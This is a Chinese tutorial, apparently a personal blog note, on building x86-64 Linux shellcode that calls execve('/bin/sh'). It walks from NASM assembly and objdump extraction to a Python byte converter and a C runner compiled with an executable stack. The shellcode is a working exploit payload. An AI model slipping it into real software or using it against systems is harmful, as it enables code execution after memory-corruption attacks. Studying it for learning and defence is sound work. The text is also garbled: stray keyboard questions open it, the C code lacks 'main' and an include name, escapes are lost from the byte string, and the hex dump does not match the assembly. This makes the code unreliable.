8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?
shellcode可以用于在栈溢出或者堆溢出的漏洞中用于跳转后执行的代码。本文的代码是在ubuntu 18.04 64位的linux操作系统。
首先是一个用于执行shellcode的c语言程序:1
2
3
4
5
6char shellcode[] = "";
int (int argc, char const *argv[]){
(*(void(*)() shellcode)();
return 0;
}
其中(*(void(*)()) shellcode)();拆开来看首先是(void(*)()) shell code,将shellcode转换为函数指针,指向void()形式的函数,再加一个*是对这个指针进行取值,然后再最右边使用()调用这个函数。在调用后会执行shellcode中的代码。
为了实现生成新的shell进程,这里使用execve系统调用,execve需要传入三个参数,分别是新打开的应用或者脚本的路径、参数的字符串数组argv(最后一个元素是NULL)、环境变量的字符串数组envp(最后一个元素是NULL)execve("/bin/sh", NULL, NULL);。
使用syscall汇编指令调用系统调用,需要查看系统调用号64位的系统在/usr/include/x86_64-linux-gnu/asm/unistd_64.h文件夹里。使用下面的命令查看:1
2cat unistd_64.h | grep execve
// #define __NR_execve 59
可以看到execve的系统调用号是59,十六进制的0x3b。
然后编写shellcode汇编代码,核心是syscall汇编指令,这个指令中rax寄存器存放系统调用编号,这里是0x3b,在x86-64里,使用rdi、rsi、rdx寄存器分别存放第一、第二、第三个参数,一共可以用6个寄存器存放参数,多出的参数或者参数不是数字都是使用栈来传送。rdi寄存器存放execve的第一个参数,rsi存放参数字符数组地址(这里使用NULL,也就是0),rdx存放环境变量数组地址(也是NULL)。下面是汇编代码:1
2
3
4
5
6
7
8
9
10
11
12
13; test.s
section .text
global _start
_start:
sub rsp, 8
mov dword [rsp], 0x6e69622f
mov dword [rsp+4], 0x0068732f
mov rdi, rsp ;第一参数
xor rsi, rsi ;第二参数,0
xor rdx, rdx ;第三参数,0
xor rax, rax
mov al, 0x3b ;系统调用编号
syscall
对于第二、第三参数,为了让代码变得比较短,不使用mov rsi, 0来实现寄存器变为0,而是使用xor rsi, rsi来清零rsi。
传递路径给系统调用,如上面代码所示,使用栈存放路径,最后将栈地址存放到rdi中,对于这种方法需要将/bin/sh转换为十六进制小端顺序,然后在末尾补上0,因为nasm不能一次push进4字的数据,但是它每次push会是rsp减少8,所以这里是分两次存入的,栈是从高到低的,首先放进0x6e69622f,然后存入0x0068732f,最后将栈指针给rdi(第一参数)。
编写好后使用汇编编译工具NASM编译:1nasm -f elf64 test.s
因为是在64位系统中,需要指定elf64,然后使用链接器将其变为可执行程序。1ld test.o -o test
最后执行test可以看到一个新的sh。
既然汇编代码已经写好,就需要将其变为字符串形式,使用:1objdump -s test
得到.text代码,将其放入python脚本中1
2
3
4
5
6
7
8
9# shellcode.py
code = '4883ec10c704242f62696ec74424042f7368004889e74831f64831c04831d2b03b0f05'
result = ""
for i in range(0, len(code), 2):
if i < len(code) - 1:
result += '\x' + code[i:i+2]
else:
result += '\x' + code[i]
print(result)
将输出复制到shellcode字符数组中,我们看看可不可以执行shellcode了1
2
3
4
5
6
7
8
9
10// shellcode.c
#include
char shellcode[] =
"x48x83xecx10xc7x04x24x2fx62x69x6exc7x44x24x04x2fx73x68x00x48x89xe7x48x31xf6x48x31xc0x48x31xd2xb0x3bx0fx05";
int (int argc, char const *argv[])
{
(*(void (*)()) shellcode) ();
return 0;
}
因为GCC默认是有exec保护,所以编译时需要增加编译选项:1gcc -z execstack shellcode.c
最后可以看到效果,打开了一个新的sh:1
2[email protected]:~/Downloads$ ./a.out
$
附录可以使用gdb调试shellcode.c,编译后的函数指针指行是一个call *地址的指令,可以step in来查看行之后的shellcode里面的代码。
因为这里用了execve这个系统调用,我们可以使用strace命令,查看程序的系统调用执行状况,前几次都出现execve(null,null,null)这样参数传递错误的情况,我才想起来64位参数传递用的是rsi、rdi这些寄存器。
使用label: db ‘/bin/sh’,mov rdi, label的形式会出现找不到路径,因为ld后的代码引用label的地址竟然是固定的,我得再看看链接的原理。
edb debugger好好用!
参考